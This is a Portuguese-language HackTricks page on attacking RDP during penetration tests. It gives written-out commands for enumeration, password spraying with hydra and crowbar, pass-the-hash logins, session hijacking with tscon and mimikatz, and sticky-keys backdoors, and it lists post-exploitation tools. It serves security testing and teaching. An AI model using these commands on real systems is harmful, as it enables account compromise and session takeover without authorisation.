9.9 KiB
3389 - Pentesting RDP
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios. Use nossas 20+ ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Informações Básicas
Desenvolvido pela Microsoft, o Remote Desktop Protocol (RDP) é projetado para permitir uma conexão de interface gráfica entre computadores através de uma rede. Para estabelecer tal conexão, o software cliente RDP é utilizado pelo usuário, e, simultaneamente, o computador remoto deve operar o software servidor RDP. Essa configuração permite o controle e acesso sem interrupções ao ambiente de desktop de um computador distante, essencialmente trazendo sua interface para o dispositivo local do usuário.
Porta padrão: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Enumeração
Automático
{% code overflow="wrap" %}
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
{% endcode %}
Ele verifica a criptografia disponível e a vulnerabilidade de DoS (sem causar DoS ao serviço) e obtém informações NTLM do Windows (versões).
Força bruta
Cuidado, você pode bloquear contas
Spraying de Senhas
Cuidado, você pode bloquear contas
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Conectar com credenciais/hash conhecidas
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
Verifique credenciais conhecidas contra serviços RDP
rdp_check.py do impacket permite que você verifique se algumas credenciais são válidas para um serviço RDP:
rdp_check <domain>/<name>:<password>@<IP>
Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios. Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Ataques
Roubo de sessão
Com permissões de SYSTEM você pode acessar qualquer sessão RDP aberta por qualquer usuário sem precisar saber a senha do proprietário.
Obtenha sessões abertas:
query user
Acesso à sessão selecionada
tscon <ID> /dest:<SESSIONNAME>
Agora você estará dentro da sessão RDP selecionada e terá que se passar por um usuário usando apenas ferramentas e recursos do Windows.
Importante: Ao acessar uma sessão RDP ativa, você desconectará o usuário que a estava utilizando.
Você pode obter senhas do processo despejando-o, mas esse método é muito mais rápido e permite que você interaja com as áreas de trabalho virtuais do usuário (senhas no bloco de notas sem serem salvas no disco, outras sessões RDP abertas em outras máquinas...)
Mimikatz
Você também pode usar o mimikatz para fazer isso:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
Sticky-keys & Utilman
Combinando esta técnica com stickykeys ou utilman você poderá acessar um CMD administrativo e qualquer sessão RDP a qualquer momento
Você pode procurar RDPs que foram backdoor com uma dessas técnicas já com: https://github.com/linuz/Sticky-Keys-Slayer
RDP Process Injection
Se alguém de um domínio diferente ou com melhores privilégios fizer login via RDP no PC onde você é um Admin, você pode injetar seu beacon no processo da sessão RDP dele e agir como ele:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} rdp-sessions-abuse.md {% endcontent-ref %}
Adding User to RDP group
net localgroup "Remote Desktop Users" UserLoginName /add
Ferramentas Automáticas
AutoRDPwn é um framework de pós-exploração criado em Powershell, projetado principalmente para automatizar o ataque Shadow em computadores Microsoft Windows. Esta vulnerabilidade (listada como um recurso pela Microsoft) permite que um atacante remoto veja a área de trabalho de sua vítima sem o seu consentimento, e até mesmo a controle sob demanda, usando ferramentas nativas do próprio sistema operacional.
- EvilRDP
- Controlar mouse e teclado de forma automatizada a partir da linha de comando
- Controlar a área de transferência de forma automatizada a partir da linha de comando
- Criar um proxy SOCKS a partir do cliente que canaliza a comunicação de rede para o alvo via RDP
- Executar comandos SHELL e PowerShell arbitrários no alvo sem fazer upload de arquivos
- Fazer upload e download de arquivos para/de o alvo mesmo quando as transferências de arquivos estão desativadas no alvo
Comandos Automáticos HackTricks
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios. Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Suporte ao HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.